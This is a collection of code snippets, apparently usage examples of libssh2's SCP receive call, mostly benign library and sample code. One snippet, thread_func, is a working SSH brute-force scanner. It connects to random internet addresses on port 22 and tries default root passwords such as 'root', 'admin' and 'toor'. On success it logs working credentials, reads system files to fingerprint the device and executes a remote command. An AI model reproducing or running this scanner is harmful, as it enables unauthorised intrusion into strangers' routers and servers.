void* CLibssh2::open_scp_read_channel(const std::string& remote_filepath) { LIBSSH2_CHANNEL* channel = NULL; LIBSSH2_SESSION* session = static_cast<LIBSSH2_SESSION*>(_session); for (;;) { struct stat fileinfo; channel = libssh2_scp_recv(session, remote_filepath.c_str(), &fileinfo); if (channel != NULL) break; int errcode = get_session_errcode(); if (errcode != LIBSSH2_ERROR_EAGAIN) { THROW_EXCEPTION(get_session_errmsg(), errcode); } else { if (!timedwait_socket()) { THROW_SYSCALL_EXCEPTION("open scp channel timeout", ETIMEDOUT, "poll"); } } } return channel; }
CURLcode Curl_scp_do(struct connectdata *conn, bool *done) { struct stat sb; struct SSHPROTO *scp = conn->data->reqdata.proto.ssh; CURLcode res = CURLE_OK; *done = TRUE; /* unconditionally */ if (conn->data->set.upload) { /* * NOTE!!! libssh2 requires that the destination path is a full path * that includes the destination file and name OR ends in a "/" . * If this is not done the destination file will be named the * same name as the last directory in the path. */ scp->ssh_channel = libssh2_scp_send_ex(scp->ssh_session, scp->path, LIBSSH2_SFTP_S_IRUSR| LIBSSH2_SFTP_S_IWUSR| LIBSSH2_SFTP_S_IRGRP| LIBSSH2_SFTP_S_IROTH, conn->data->set.infilesize, 0, 0); if (!scp->ssh_channel) return CURLE_FAILED_INIT; /* upload data */ res = Curl_setup_transfer(conn, -1, -1, FALSE, NULL, FIRSTSOCKET, NULL); } else { /* * We must check the remote file, if it is a directory no vaules will * be set in sb */ curl_off_t bytecount; memset(&sb, 0, sizeof(struct stat)); scp->ssh_channel = libssh2_scp_recv(scp->ssh_session, scp->path, &sb); if (!scp->ssh_channel) { if ((sb.st_mode == 0) && (sb.st_atime == 0) && (sb.st_mtime == 0) && (sb.st_size == 0)) { /* Since sb is still empty, it is likely the file was not found */ return CURLE_REMOTE_FILE_NOT_FOUND; } return libssh2_error_to_CURLE(conn); } /* download data */ bytecount = (curl_off_t) sb.st_size; conn->data->reqdata.maxdownload = (curl_off_t) sb.st_size; res = Curl_setup_transfer(conn, FIRSTSOCKET, bytecount, FALSE, NULL, -1, NULL); } return res; }
static PyObject * session_scp_recv(SSH2_SessionObj *self, PyObject *args) { char *path; LIBSSH2_CHANNEL *channel; if (!PyArg_ParseTuple(args, "s:scp_recv", &path)) return NULL; Py_BEGIN_ALLOW_THREADS channel = libssh2_scp_recv(self->session, path, NULL); // &sb Py_END_ALLOW_THREADS CHECK_RETURN_POINTER(channel, self) return (PyObject *)SSH2_Channel_New(channel, self); }
static PyObject * session_scp_recv(SSH2_SessionObj *self, PyObject *args, PyObject *kwds) { char *path; LIBSSH2_CHANNEL *channel; struct stat sb; PyObject* get_stat = NULL; int get_stat_is_true = 0; PyObject* chan; static char *kwlist[] = {"path", "get_stat", NULL}; if (!PyArg_ParseTupleAndKeywords(args, kwds, "s|O:scp_recv", kwlist, &path, &get_stat)) return NULL; if (get_stat && (get_stat_is_true = PyObject_IsTrue(get_stat)) < 0) return NULL; Py_BEGIN_ALLOW_THREADS channel = libssh2_scp_recv(self->session, path, get_stat_is_true ? &sb : 0); Py_END_ALLOW_THREADS CHECK_RETURN_POINTER(channel, self) /* Return a tuple of the channel and (size, mode, mtime, atime) * of the remote file if the get_stat argument is true else return * a tuple of the channel and None. */ chan = (PyObject *)SSH2_Channel_New(channel, self); if (!get_stat_is_true) return Py_BuildValue("(OO)", chan, Py_None); return Py_BuildValue("(O(LlLL))", chan, (PY_LONG_LONG)sb.st_size, (long)sb.st_mode, (PY_LONG_LONG)sb.st_mtime, (PY_LONG_LONG)sb.st_atime); }
void* thread_func(void* arg) { int sockfd; sockaddr_in serv_addr; char curhost[26]; boost::random::uniform_int_distribution<> dist(1, 9999999999999);//numeric_limits< unsigned long>::max()); boost::random::mt19937 gen((int)pthread_self()+(int)time(NULL)); LIBSSH2_SESSION *session=0; // HCkSsh ssh; srand((int)pthread_self()+rand()+time(NULL)); while (do_scan) { sockfd = socket(AF_INET, SOCK_STREAM, 0); if (sockfd < 0) deb("ERROR opening socket: %s\r\n",fmterr()); setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)); long flags; flags = fcntl(sockfd, F_GETFL, 0); fcntl(sockfd, F_SETFL, flags | O_NONBLOCK); bzero((char *) &serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_port = htons(22); do { serv_addr.sin_addr.s_addr = dist(gen);//getrnd(0,100000000000000);//rand();//inet_addr("195.2.253.204") } while (ischecking(serv_addr.sin_addr.s_addr)); strncpy(curhost, inet_ntoa(serv_addr.sin_addr), sizeof(curhost)); addchecking(serv_addr.sin_addr.s_addr); unsigned long chkdist=0; chkdist=dist(gen); int ret; // deb("\rconnecting %16s ", inet_ntoa(serv_addr.sin_addr)); ret=connect(sockfd, (struct sockaddr*) &serv_addr, sizeof( serv_addr)); fd_set fds; //deb("ret:%d errno:%s (%d)\r\n",ret,strerror(errno),errno); // sleep(1); FD_ZERO(&fds); FD_SET(sockfd, &fds); tv.tv_sec = 2; tv.tv_usec = 0; char buf[1024]; if (ret==0 || (ret==-1 && errno == EINPROGRESS)) { ipscanned++; int res = select(sockfd+1, &fds,&fds, 0, &tv); //deb("res:%d errno:%s (%d)\r\n",res,strerror(errno),errno); if (res < 0 && errno != EINTR) { // deb("\r\n%s Error connecting %d - %s\n\r", // curhost, errno, strerror(errno)); } else if (res > 0) { flags &= (~O_NONBLOCK); if ( fcntl(sockfd, F_SETFL, flags) < 0) { deb("Error fcntl(..., F_SETFL) (%s)\n", strerror(errno)); } int rcv; memset(buf, 0, sizeof(buf)); rcv = recv(sockfd, buf, sizeof(buf), MSG_PEEK); //if (rcv>0) // buf[rcv]=0; // if (rcv>0) // deb("rcv: %d %s\r\n",rcv, trim(buf)); const char *username="******"; const char *password="******"; const char *sftppath="/tmp"; int rc; const char *fingerprint; session = libssh2_session_init(); libssh2_session_set_blocking(session, 1); int numTry=0; while (session>0 && (rc = libssh2_session_handshake(session, sockfd)) == LIBSSH2_ERROR_EAGAIN); int u; LIBSSH2_CHANNEL *channel=0; if (rc) { if (rc!=-43) deb("%16s failure establishing SSH session: %d [rnd: %lu, checking: %d]\n", curhost,rc,chkdist,checking.size()); //return -1; } else { totscanned++; fingerprint = libssh2_hostkey_hash(session, LIBSSH2_HOSTKEY_HASH_SHA1); deb( "%16s %-50s ", inet_ntoa(serv_addr.sin_addr), trim(buf)); for (int i = 0; i < 20; i++) { deb(KYEL "%02X " RESET, (unsigned char)fingerprint[i]); } deb( "\n"); char* passwords[]={"root","admin","toor","r00t","adm", "secure","pwd","password","god" }; for ( u=0;u<3;u++) { if (libssh2_userauth_password(session, username, passwords[u])) { // deb( "%16s " KRED "Authentication by password failed. [%s]\n" // RESET, inet_ntoa(serv_addr.sin_addr),passwords[u]); continue; } else { deb(KCYN "%16s authenticated %s:%s \r\n" RESET, inet_ntoa(serv_addr.sin_addr), username,passwords[u],totscanned); struct stat fileinfo; channel = libssh2_scp_recv(session, "/etc/services", &fileinfo); if (!channel) { deb(KRED "%16s Unable to open a session: %d\r\n" RESET, inet_ntoa(serv_addr.sin_addr), libssh2_session_last_errno(session)); break; } if (!fileinfo.st_size) { deb(KGRN "%16s router/modem\r\n" RESET, inet_ntoa(serv_addr.sin_addr), fileinfo.st_size); fdeb("%s %s:%s [router/modem (%s)]\r\n", inet_ntoa(serv_addr.sin_addr), username,passwords[u],trim(buf)); } else { deb(KGRN "%16s unknown device fs:%d [%s]\r\n" RESET, inet_ntoa(serv_addr.sin_addr), fileinfo.st_size,trim(buf)); fdeb("%s %s:%s unknown (%s)\r\n", inet_ntoa(serv_addr.sin_addr), username,passwords[u],trim( buf)); } channel = libssh2_scp_recv(session, "/proc/cpuinfo", &fileinfo); if (!channel) { // deb(KRED "\r\nUnable to open a session: %d\r\n" RESET, // libssh2_session_last_errno(session)); //break; } else { int got=0; char mem[1024]; int amount=sizeof(mem); while (got < fileinfo.st_size) { if ((fileinfo.st_size -got) < amount) { amount = fileinfo.st_size -got; } rc = libssh2_channel_read(channel, mem, amount); if (rc > 0) { deb("mem:%p rc:%d", mem, rc); } else if (rc < 0) { deb("libssh2_channel_read() failed: %d\n", rc); break; } got += rc; } if (mem[0]) deb("mem: %s", mem); } founds++; try { MySexec sexec; sexec.SetSSHHost( curhost ); int ret_code = sexec.SetTimeout(17); if (ret_code) throw("\r\nfailed: SetTimeout\r\n"); ret_code = sexec.SetSSHUser(username); if (ret_code) throw("\r\nfailed: SetSSHUser\r\n"); ret_code = sexec.SetSSHPassword(passwords[u]); if (ret_code) throw("\r\nfailed: SetSSHPassword()\r\n"); ret_code = sexec.SSHLogon(curhost ,22); if (ret_code) throw("\r\nfailed: SSHLogon\r\n"); ret_code = sexec.Execute("ls -l"); if (ret_code) throw("\r\Execute:%d",ret_code); //sleep(2); deb(KGRN "executed on %s\r\n" RESET, curhost); // fdeb("\r\n[host %s]\r\n",curhost); // exit(0); } catch ( const char *str ) { deb(KRED "in except: %s\r\n" RESET,str); } //exit(0); } } // free(fingerprint); } if (channel) libssh2_channel_free(channel); if (session) { // libssh2_session_disconnect(session, "Norm"); libssh2_session_free(session); } /* ssh = CkSsh_Create(); bool success; CkSsh_UnlockComponent(ssh,"Anything for 30-day trial"); success = CkSsh_Connect(ssh,inet_ntoa(serv_addr.sin_addr),22); CkSsh_putIdleTimeoutMs(ssh,5000); success = CkSsh_AuthenticatePw(ssh,"root","root"); if (success != TRUE) { deb("%s\n",CkSsh_lastErrorText(ssh)); return 0; } int channelNum; channelNum = CkSsh_OpenSessionChannel(ssh); if (channelNum < 0) { deb("%s\n",CkSsh_lastErrorText(ssh)); return 0; } success = CkSsh_SendReqExec(ssh,channelNum,"uname -a"); if (success != TRUE) { deb("%s\n",CkSsh_lastErrorText(ssh)); return 0; } // Call ChannelReceiveToClose to read // output until the server's corresponding "channel close" is received. success = CkSsh_ChannelReceiveToClose(ssh,channelNum); if (success != TRUE) { deb("%s\n",CkSsh_lastErrorText(ssh)); return 0; } // Let's pickup the accumulated output of the command: const char * cmdOutput; cmdOutput = CkSsh_getReceivedText(ssh,channelNum,"ansi"); if (cmdOutput == 0 ) { deb("%s\n",CkSsh_lastErrorText(ssh)); return 0; } // Display the remote shell's command output: deb("%s\n",cmdOutput); // Disconnect CkSsh_Disconnect(ssh); CkSsh_Dispose(ssh);*/ } }
int main(int argc, char *argv[]) { unsigned long hostaddr; int sock, i, auth_pw = 1; struct sockaddr_in sin; const char *fingerprint; LIBSSH2_SESSION *session; LIBSSH2_CHANNEL *channel; const char *username="******"; const char *password="******"; const char *scppath="/tmp/TEST"; struct stat fileinfo; int rc; off_t got=0; #ifdef WIN32 WSADATA wsadata; WSAStartup(WINSOCK_VERSION, &wsadata); #endif if (argc > 1) { hostaddr = inet_addr(argv[1]); } else { hostaddr = htonl(0x7F000001); } if (argc > 2) { username = argv[2]; } if (argc > 3) { password = argv[3]; } if (argc > 4) { scppath = argv[4]; } /* Ultra basic "connect to port 22 on localhost" * Your code is responsible for creating the socket establishing the * connection */ sock = socket(AF_INET, SOCK_STREAM, 0); sin.sin_family = AF_INET; sin.sin_port = htons(22); sin.sin_addr.s_addr = hostaddr; if (connect(sock, (struct sockaddr*)(&sin), sizeof(struct sockaddr_in)) != 0) { fprintf(stderr, "failed to connect!\n"); return -1; } /* We set the socket non-blocking. We do it after the connect just to simplify the example code. */ #ifdef F_SETFL /* FIXME: this can/should be done in a more portable manner */ rc = fcntl(sock, F_GETFL, 0); fcntl(sock, F_SETFL, rc | O_NONBLOCK); #else #error "add support for setting the socket non-blocking here" #endif /* Create a session instance */ session = libssh2_session_init(); if (!session) return -1; /* Since we have set non-blocking, tell libssh2 we are non-blocking */ libssh2_session_set_blocking(session, 0); /* ... start it up. This will trade welcome banners, exchange keys, * and setup crypto, compression, and MAC layers */ while ((rc = libssh2_session_startup(session, sock)) == LIBSSH2_ERROR_EAGAIN); if (rc) { fprintf(stderr, "Failure establishing SSH session: %d\n", rc); return -1; } /* At this point we havn't yet authenticated. The first thing to do * is check the hostkey's fingerprint against our known hosts Your app * may have it hard coded, may go to a file, may present it to the * user, that's your call */ fingerprint = libssh2_hostkey_hash(session, LIBSSH2_HOSTKEY_HASH_MD5); fprintf(stderr, "Fingerprint: "); for(i = 0; i < 16; i++) { fprintf(stderr, "%02X ", (unsigned char)fingerprint[i]); } fprintf(stderr, "\n"); if (auth_pw) { /* We could authenticate via password */ while ((rc = libssh2_userauth_password(session, username, password)) == LIBSSH2_ERROR_EAGAIN); if (rc) { fprintf(stderr, "Authentication by password failed.\n"); goto shutdown; } } else { /* Or by public key */ while ((rc = libssh2_userauth_publickey_fromfile(session, username, "/home/username/.ssh/id_rsa.pub", "/home/username/.ssh/id_rsa", password)) == LIBSSH2_ERROR_EAGAIN); if (rc) { fprintf(stderr, "\tAuthentication by public key failed\n"); goto shutdown; } } /* Request a file via SCP */ fprintf(stderr, "libssh2_scp_recv()!\n"); do { channel = libssh2_scp_recv(session, scppath, &fileinfo); if ((!channel) && (libssh2_session_last_errno(session) != LIBSSH2_ERROR_EAGAIN)) { char *err_msg; libssh2_session_last_error(session, &err_msg, NULL, 0); fprintf(stderr, "%s\n", err_msg); goto shutdown; } } while (!channel); fprintf(stderr, "libssh2_scp_recv() is done, now receive data!\n"); while(got < fileinfo.st_size) { char mem[1000]; struct timeval timeout; int rc; fd_set fd; do { int amount=sizeof(mem); if ((fileinfo.st_size -got) < amount) { amount = fileinfo.st_size - got; } /* loop until we block */ rc = libssh2_channel_read(channel, mem, amount); if (rc > 0) { write(1, mem, rc); got += rc; } } while (rc > 0); if (rc == LIBSSH2_ERROR_EAGAIN) { /* this is due to blocking that would occur otherwise so we loop on this condition */ timeout.tv_sec = 10; timeout.tv_usec = 0; FD_ZERO(&fd); FD_SET(sock, &fd); rc = select(sock+1, &fd, &fd, NULL, &timeout); if (rc <= 0) { /* negative is error 0 is timeout */ fprintf(stderr, "SCP timed out: %d\n", rc); } continue; } break; } libssh2_channel_free(channel); channel = NULL; shutdown: libssh2_session_disconnect(session, "Normal Shutdown, Thank you for playing"); libssh2_session_free(session); #ifdef WIN32 Sleep(1000); closesocket(sock); #else sleep(1); close(sock); #endif fprintf(stderr, "all done\n"); return 0; }
int main(int argc, char *argv[]) { unsigned long hostaddr; int sock, i, auth_pw = 1; struct sockaddr_in sin; const char *fingerprint; LIBSSH2_SESSION *session; LIBSSH2_CHANNEL *channel; const char *username="******"; const char *password="******"; const char *scppath="/tmp/TEST"; struct stat fileinfo; int rc; off_t got=0; #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(2,0), &wsadata); #endif if (argc > 1) { hostaddr = inet_addr(argv[1]); } else { hostaddr = htonl(0x7F000001); } if (argc > 2) { username = argv[2]; } if (argc > 3) { password = argv[3]; } if (argc > 4) { scppath = argv[4]; } rc = libssh2_init (0); if (rc != 0) { fprintf (stderr, "libssh2 initialization failed (%d)\n", rc); return 1; } /* Ultra basic "connect to port 22 on localhost" * Your code is responsible for creating the socket establishing the * connection */ sock = socket(AF_INET, SOCK_STREAM, 0); sin.sin_family = AF_INET; sin.sin_port = htons(22); sin.sin_addr.s_addr = hostaddr; if (connect(sock, (struct sockaddr*)(&sin), sizeof(struct sockaddr_in)) != 0) { fprintf(stderr, "failed to connect!\n"); return -1; } /* Create a session instance */ session = libssh2_session_init(); if(!session) return -1; /* ... start it up. This will trade welcome banners, exchange keys, * and setup crypto, compression, and MAC layers */ rc = libssh2_session_startup(session, sock); if(rc) { fprintf(stderr, "Failure establishing SSH session: %d\n", rc); return -1; } /* At this point we havn't yet authenticated. The first thing to do * is check the hostkey's fingerprint against our known hosts Your app * may have it hard coded, may go to a file, may present it to the * user, that's your call */ fingerprint = libssh2_hostkey_hash(session, LIBSSH2_HOSTKEY_HASH_SHA1); fprintf(stderr, "Fingerprint: "); for(i = 0; i < 20; i++) { fprintf(stderr, "%02X ", (unsigned char)fingerprint[i]); } fprintf(stderr, "\n"); if (auth_pw) { /* We could authenticate via password */ if (libssh2_userauth_password(session, username, password)) { fprintf(stderr, "Authentication by password failed.\n"); goto shutdown; } } else { /* Or by public key */ if (libssh2_userauth_publickey_fromfile(session, username, "/home/username/.ssh/id_rsa.pub", "/home/username/.ssh/id_rsa", password)) { fprintf(stderr, "\tAuthentication by public key failed\n"); goto shutdown; } } /* Request a file via SCP */ channel = libssh2_scp_recv(session, scppath, &fileinfo); if (!channel) { fprintf(stderr, "Unable to open a session: %d\n", libssh2_session_last_errno(session)); goto shutdown; } while(got < fileinfo.st_size) { char mem[1024]; int amount=sizeof(mem); if((fileinfo.st_size -got) < amount) { amount = fileinfo.st_size -got; } rc = libssh2_channel_read(channel, mem, amount); if(rc > 0) { write(1, mem, rc); } else if(rc < 0) { fprintf(stderr, "libssh2_channel_read() failed: %d\n", rc); break; } got += rc; } libssh2_channel_free(channel); channel = NULL; shutdown: libssh2_session_disconnect(session, "Normal Shutdown, Thank you for playing"); libssh2_session_free(session); #ifdef WIN32 closesocket(sock); #else close(sock); #endif fprintf(stderr, "all done\n"); libssh2_exit(); return 0; }
int main(int argc, char *argv[]) { unsigned long hostaddr; int sock, i, auth_pw = 1; struct sockaddr_in sin; const char *fingerprint; LIBSSH2_SESSION *session; LIBSSH2_CHANNEL *channel; const char *username="******"; const char *password="******"; const char *scppath="/tmp/TEST"; struct stat fileinfo; struct timeval start; struct timeval end; int rc; int total = 0; long time_ms; int spin = 0; off_t got=0; #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(2,0), &wsadata); #endif if (argc > 1) { hostaddr = inet_addr(argv[1]); } else { hostaddr = htonl(0x7F000001); } if (argc > 2) { username = argv[2]; } if (argc > 3) { password = argv[3]; } if (argc > 4) { scppath = argv[4]; } rc = libssh2_init (0); if (rc != 0) { fprintf (stderr, "libssh2 initialization failed (%d)\n", rc); return 1; } /* Ultra basic "connect to port 22 on localhost" * Your code is responsible for creating the socket establishing the * connection */ sock = socket(AF_INET, SOCK_STREAM, 0); sin.sin_family = AF_INET; sin.sin_port = htons(22); sin.sin_addr.s_addr = hostaddr; if (connect(sock, (struct sockaddr*)(&sin), sizeof(struct sockaddr_in)) != 0) { fprintf(stderr, "failed to connect!\n"); return -1; } /* Create a session instance */ session = libssh2_session_init(); if (!session) return -1; /* Since we have set non-blocking, tell libssh2 we are non-blocking */ libssh2_session_set_blocking(session, 0); gettimeofday(&start, NULL); /* ... start it up. This will trade welcome banners, exchange keys, * and setup crypto, compression, and MAC layers */ while ((rc = libssh2_session_handshake(session, sock)) == LIBSSH2_ERROR_EAGAIN); if (rc) { fprintf(stderr, "Failure establishing SSH session: %d\n", rc); return -1; } /* At this point we havn't yet authenticated. The first thing to do * is check the hostkey's fingerprint against our known hosts Your app * may have it hard coded, may go to a file, may present it to the * user, that's your call */ fingerprint = libssh2_hostkey_hash(session, LIBSSH2_HOSTKEY_HASH_SHA1); fprintf(stderr, "Fingerprint: "); for(i = 0; i < 20; i++) { fprintf(stderr, "%02X ", (unsigned char)fingerprint[i]); } fprintf(stderr, "\n"); if (auth_pw) { /* We could authenticate via password */ while ((rc = libssh2_userauth_password(session, username, password)) == LIBSSH2_ERROR_EAGAIN); if (rc) { fprintf(stderr, "Authentication by password failed.\n"); goto shutdown; } } else { /* Or by public key */ while ((rc = libssh2_userauth_publickey_fromfile(session, username, "/home/username/" ".ssh/id_rsa.pub", "/home/username/" ".ssh/id_rsa", password)) == LIBSSH2_ERROR_EAGAIN); if (rc) { fprintf(stderr, "\tAuthentication by public key failed\n"); goto shutdown; } } #if 0 libssh2_trace(session, LIBSSH2_TRACE_CONN); #endif /* Request a file via SCP */ fprintf(stderr, "libssh2_scp_recv()!\n"); do { channel = libssh2_scp_recv(session, scppath, &fileinfo); if (!channel) { if(libssh2_session_last_errno(session) != LIBSSH2_ERROR_EAGAIN) { char *err_msg; libssh2_session_last_error(session, &err_msg, NULL, 0); fprintf(stderr, "%s\n", err_msg); goto shutdown; } else { fprintf(stderr, "libssh2_scp_recv() spin\n"); waitsocket(sock, session); } } } while (!channel); fprintf(stderr, "libssh2_scp_recv() is done, now receive data!\n"); while(got < fileinfo.st_size) { char mem[1024*24]; int rc; do { int amount=sizeof(mem); if ((fileinfo.st_size -got) < amount) { amount = fileinfo.st_size - got; } /* loop until we block */ rc = libssh2_channel_read(channel, mem, amount); if (rc > 0) { write(1, mem, rc); got += rc; total += rc; } } while (rc > 0); if ((rc == LIBSSH2_ERROR_EAGAIN) && (got < fileinfo.st_size)) { /* this is due to blocking that would occur otherwise so we loop on this condition */ spin++; waitsocket(sock, session); /* now we wait */ continue; } break; } gettimeofday(&end, NULL); time_ms = tvdiff(end, start); printf("Got %d bytes in %ld ms = %.1f bytes/sec spin: %d\n", total, time_ms, total/(time_ms/1000.0), spin ); libssh2_channel_free(channel); channel = NULL; shutdown: libssh2_session_disconnect(session, "Normal Shutdown, Thank you for playing"); libssh2_session_free(session); #ifdef WIN32 closesocket(sock); #else close(sock); #endif fprintf(stderr, "all done\n"); libssh2_exit(); return 0; }
void Pull::run() { QLOG_TRACE() << "Receiving file " << m_sourceFilePath; qDebug() << "SecureConnection::Pull " << m_sourceFilePath << "->" << m_destinationFilePath; // Set blocking, which apparently is required. QByteArray source(m_sourceFilePath.toLocal8Bit()); libssh2_session_set_blocking(m_session, 1); struct stat fileInfo; LIBSSH2_CHANNEL* channel(libssh2_scp_recv(m_session, source.data(), &fileInfo)); if (channel == 0) { QString msg("Could not stat file "); msg += m_sourceFilePath; throw Exception(m_session, msg); } QByteArray destination(m_destinationFilePath.toLocal8Bit()); FILE* localFileHandle(fopen(destination.data(), "wb")); if (!localFileHandle) { QString msg("Could not open file for writing "); msg += m_destinationFilePath; throw Exception(msg); } // If the buffer size changes, anything connected to the copyProgress will // need updating as it assumes kbyte increments. char buffer[1024]; off_t got(0); while (got < fileInfo.st_size && !m_terminate) { int amount(sizeof(buffer)); if ((fileInfo.st_size - got) < amount) { amount = fileInfo.st_size - got; } int bc(libssh2_channel_read(channel, buffer, amount)); if (bc > 0) { fwrite(buffer, 1, bc, localFileHandle); }else if (bc < 0) { m_success = false; m_errorMessage = "Error reading from channel"; break; } got += bc; copyProgress(); //qDebug() << "sleeping 1"; sleep(1); } fclose(localFileHandle); libssh2_channel_send_eof(channel); // This seems to cause a hang sometimes // libssh2_channel_wait_eof(channel); libssh2_channel_wait_closed(channel); libssh2_channel_free(channel); if (!m_errorMessage.isEmpty()) throw Exception(m_errorMessage); if (!m_terminate) m_success = true; }